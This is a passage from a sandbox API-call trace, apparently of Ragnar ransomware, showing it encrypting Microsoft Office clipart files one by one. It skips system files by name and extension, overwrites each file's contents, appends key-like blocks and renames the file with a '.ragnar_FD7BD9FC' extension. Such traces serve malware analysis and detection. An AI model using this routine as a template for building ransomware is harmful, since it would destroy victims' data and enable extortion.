Office\\CLIPART\\PUB60COR\\PH02742G.GIF.ragnar_FD7BD9FC" [0090.199] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.200] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d585700, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d585700, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02742U.BMP", cAlternateFileName="")) returned 1 [0090.200] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.200] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02742U.BMP" | out: lpString1="PH02742U.BMP") returned="PH02742U.BMP" [0090.200] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP") returned=".BMP" [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="autorun.inf") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="boot.ini") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="bootfont.bin") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="bootsect.bak") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="bootmgr") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="bootmgr.efi") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="desktop.ini") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="iconcache.db") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="ntldr") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="ntuser.dat") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="ntuser.ini") returned 1 [0090.200] lstrcmpiW (lpString1="PH02742U.BMP", lpString2="thumbs.db") returned -1 [0090.200] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.200] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.200] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.200] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.200] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.200] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.200] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp")) returned 0x20 [0090.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.201] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0090.201] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.201] GetProcessHeap () returned 0x580000 [0090.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.201] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.202] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.203] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.203] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.203] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.204] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.204] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.204] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.204] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.205] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.205] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.205] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.205] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.205] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.205] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.205] GetProcessHeap () returned 0x580000 [0090.205] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.205] CloseHandle (hObject=0xf4) returned 1 [0090.205] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" [0090.205] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.ragnar_FD7BD9FC" [0090.205] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.206] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a6dc00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1a6dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02743G.GIF", cAlternateFileName="")) returned 1 [0090.206] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.206] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02743G.GIF" | out: lpString1="PH02743G.GIF") returned="PH02743G.GIF" [0090.206] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF") returned=".GIF" [0090.206] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.206] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="autorun.inf") returned 1 [0090.206] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="boot.ini") returned 1 [0090.206] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="bootfont.bin") returned 1 [0090.206] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="bootsect.bak") returned 1 [0090.206] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="bootmgr") returned 1 [0090.206] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="bootmgr.efi") returned 1 [0090.206] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="bootmgfw.efi") returned 1 [0090.206] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="desktop.ini") returned 1 [0090.207] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="iconcache.db") returned 1 [0090.207] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="ntldr") returned 1 [0090.207] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="ntuser.dat") returned 1 [0090.207] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="ntuser.dat.log") returned 1 [0090.207] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="ntuser.ini") returned 1 [0090.207] lstrcmpiW (lpString1="PH02743G.GIF", lpString2="thumbs.db") returned -1 [0090.207] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0090.207] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0090.207] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0090.207] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0090.207] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0090.207] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0090.207] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0090.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif")) returned 0x20 [0090.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.207] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28038) returned 1 [0090.207] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6d7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.207] GetProcessHeap () returned 0x580000 [0090.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.208] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.209] VirtualAlloc (lpAddress=0x0, dwSize=0x6d86, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.209] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.209] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.209] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6d86, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6d86, lpOverlapped=0x0) returned 1 [0090.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.210] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6d86, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.210] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6d86, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6d86, lpOverlapped=0x0) returned 1 [0090.211] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6d86, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.211] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6d86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.211] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.211] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.211] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.211] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.211] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.211] GetProcessHeap () returned 0x580000 [0090.211] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.211] CloseHandle (hObject=0xf4) returned 1 [0090.211] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" [0090.211] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.ragnar_FD7BD9FC" [0090.211] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.212] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe489ed00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe489ed00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02746G.GIF", cAlternateFileName="")) returned 1 [0090.212] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.212] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02746G.GIF" | out: lpString1="PH02746G.GIF") returned="PH02746G.GIF" [0090.212] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF") returned=".GIF" [0090.212] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.212] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="autorun.inf") returned 1 [0090.212] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="boot.ini") returned 1 [0090.212] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="bootfont.bin") returned 1 [0090.212] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="bootsect.bak") returned 1 [0090.212] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="bootmgr") returned 1 [0090.212] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="bootmgr.efi") returned 1 [0090.212] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="bootmgfw.efi") returned 1 [0090.212] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="desktop.ini") returned 1 [0090.213] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="iconcache.db") returned 1 [0090.213] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="ntldr") returned 1 [0090.213] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="ntuser.dat") returned 1 [0090.213] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="ntuser.dat.log") returned 1 [0090.213] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="ntuser.ini") returned 1 [0090.213] lstrcmpiW (lpString1="PH02746G.GIF", lpString2="thumbs.db") returned -1 [0090.213] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0090.213] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0090.213] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0090.213] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0090.213] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0090.213] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0090.213] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0090.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif")) returned 0x20 [0090.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.213] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24187) returned 1 [0090.213] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5e72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.213] GetProcessHeap () returned 0x580000 [0090.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.214] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.215] VirtualAlloc (lpAddress=0x0, dwSize=0x5e7b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.215] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5e7b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5e7b, lpOverlapped=0x0) returned 1 [0090.216] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.216] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5e7b, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.216] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5e7b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5e7b, lpOverlapped=0x0) returned 1 [0090.217] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5e7b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.217] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.217] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5e7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.217] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.217] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.217] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.217] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.217] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.217] GetProcessHeap () returned 0x580000 [0090.217] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.218] CloseHandle (hObject=0xf4) returned 1 [0090.218] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" [0090.218] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.ragnar_FD7BD9FC" [0090.218] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.218] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65001c00, ftCreationTime.dwHighDateTime=0x1bd4e53, 